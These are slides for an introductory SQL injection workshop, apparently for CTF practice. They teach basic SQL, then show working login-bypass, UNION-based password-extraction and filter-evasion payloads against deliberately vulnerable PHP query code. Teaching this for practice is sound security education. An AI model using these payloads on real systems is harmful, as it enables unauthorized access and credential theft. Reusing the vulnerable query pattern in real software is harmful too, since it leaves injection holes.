MISC

Introduction to SQL Injection Workshop

While you wait...

Join the discord if you haven't already...
https://discordapp.com/invite/sUAJ9b3

Have a look at the challenges at:
https://tinyurl.com/yygj9b5s
(You don't need to attempt them yet!)

Introduction to SQL

In general you need to understand a technology to break it.
This applies to almost all web hacking:
- XSS (HTML, JS)
- Code injection (PHP, Ruby, NodeJS etc.)
- Unsafe deserialization (Java, .NET)
- SQL Injection (SQL)

Introduction to SQL

In general you need to understand a technology to break it.
This applies to almost all web hacking:
- XSS (HTML, JS)
- Code injection (PHP, Ruby, NodeJS etc.)
- Unsafe deserialization (Java, .NET)
- SQL Injection (SQL)

Therefore, we'll start by learning some SQL

Introduction to SQL

SQL is fundamentally about tables, which we say have columns and rows.

```
sqlite> SELECT username, password, admin FROM users;
username    password    admin
----------  ----------  ----------
admin       v3rySecr3t  1
bill        pass12321   0
mary        elephant12  0
violet      r8g8b8a8    0
```

* You should hash your passwords before storing them in a real-life scenario

Introduction to SQL

SQL is fundamentally about tables, which we say have columns and rows.

```
sqlite> SELECT username, password, admin FROM users;
username    password    admin
----------  ----------  ----------
admin       v3rySecr3t  1
bill        pass12321   0
mary        elephant12  0
violet      r8g8b8a8    0
```

A column, e.g. the 'username' column

Introduction to SQL

SQL is fundamentally about tables, which we say have columns and rows.

```
sqlite> SELECT username, password, admin FROM users;
username    password    admin
----------  ----------  ----------
admin       v3rySecr3t  1
bill        pass12321   0
mary        elephant12  0
violet      r8g8b8a8    0
```

A row – all returned rows have the same columns

Introduction to SQL

If we don't want all the rows, we can use the WHERE clause:

```
sqlite> SELECT username, password, admin FROM users WHERE admin=0;
username    password    admin
----------  ----------  ----------
bill        pass12321   0
mary        elephant12  0
violet      r8g8b8a8    0

sqlite> SELECT username, password, admin FROM users WHERE username='bill';
username    password    admin
----------  ----------  ----------
bill        pass12321   0
```

Introduction to SQL

We can also join multiple queries with UNION.

```
sqlite> SELECT username, password, admin FROM users WHERE username='mary'
   ...> UNION SELECT username, password, admin FROM users WHERE admin=1;
username    password    admin
----------  ----------  ----------
admin       v3rySecr3t  1
mary        elephant12  0
```

This is all you need to know for basic SQL injection! 😄

SQL Injection – Login Bypass

A sample login script in PHP might look like this:

```
$res = $db->query(
"SELECT username FROM users WHERE username='$user' and password='$pass'"
);
// If one or more rows returned, login success
// Else login failure
```

Where $user and $pass are supplied from an input form. Can you spot the potential danger?

SQL Injection – Login Bypass

Input: $user = test, $pass = test

Result: SELECT username FROM users
WHERE username='test' and password='test'

SQL Injection – Login Bypass

Input: $user = test, $pass = test
Result: SELECT username FROM users
WHERE username='test' and password='test'

Input: $user = test, $pass = ' or 1=1 or '
Result: SELECT username FROM users
WHERE username='test' and password=$\underbrace{\text{'' or 1=1 or ''}}_{\text{😥}}$

SQL Injection – Login Bypass

It's common to use a comment -- x to end a line for SQL injection, to make things easier:

Input: $user = ' or 1=1-- x, $pass = x
Result: SELECT username FROM users
WHERE username='' or 1=1-- x and password='x'

SQL Injection - UNION

What happens if the SQL injection is not in the login form?

```
// User lister – search for a user here
$res = $db->query(
"SELECT username, admin FROM users WHERE username='$user'"
);
// Print out the user details if the username exists
```

SQL Injection - UNION

The trick: inject UNION to select other columns from the table

Input: $user = ' and 1=0 union select password,0 from users-- x

Result: SELECT username, admin FROM users
WHERE username='' and 1=0
union select password,0 from users-- x'

SQL Injection - UNION

The trick: inject UNION to select other columns from the table

Input: $user = ' and 1=0 union select password,0 from users-- x

Result: SELECT username, admin FROM users
WHERE username='' and 1=0
union select password,0 from users-- x'

The first query will return no results because of the 1=0

SQL Injection - UNION

The trick: inject UNION to select other columns from the table

Input: $user = ' and 1=0 union select password,0 from users-- x

Result: SELECT username, admin FROM users
WHERE username='' and 1=0
union select password,0 from users-- x'

You must match the number of columns in a UNION SELECT.

Basic Filter Bypasses

It's not common in the wild, but sometimes in CTFs you have SQL injection with filters blocking use of certain words.
Remember for SQL:
- You can use any true/false statement :

```
' or 1=1-- x
' or 'e'='e'-- p
'or(3)>(2)or'
```

- There are multiple comment characters

```
' or 1=1-- x
' or 1=1/*
' or 1=1<NUL>
```

This is just the tip of the filter evasion iceberg

Try it for yourself!

Have a look at the challenges at:
https://tinyurl.com/yygj9b5s

Level 1: Basics
Level 2: UNION based injection
Level 3: UNION based injection + enumeration (bonus)
Level 4: Unusual scenario (bonus)

For level 3 and 4 some research may be required – remember these challenges are using SQLite, not MySQL (which is the most popular in the wild)!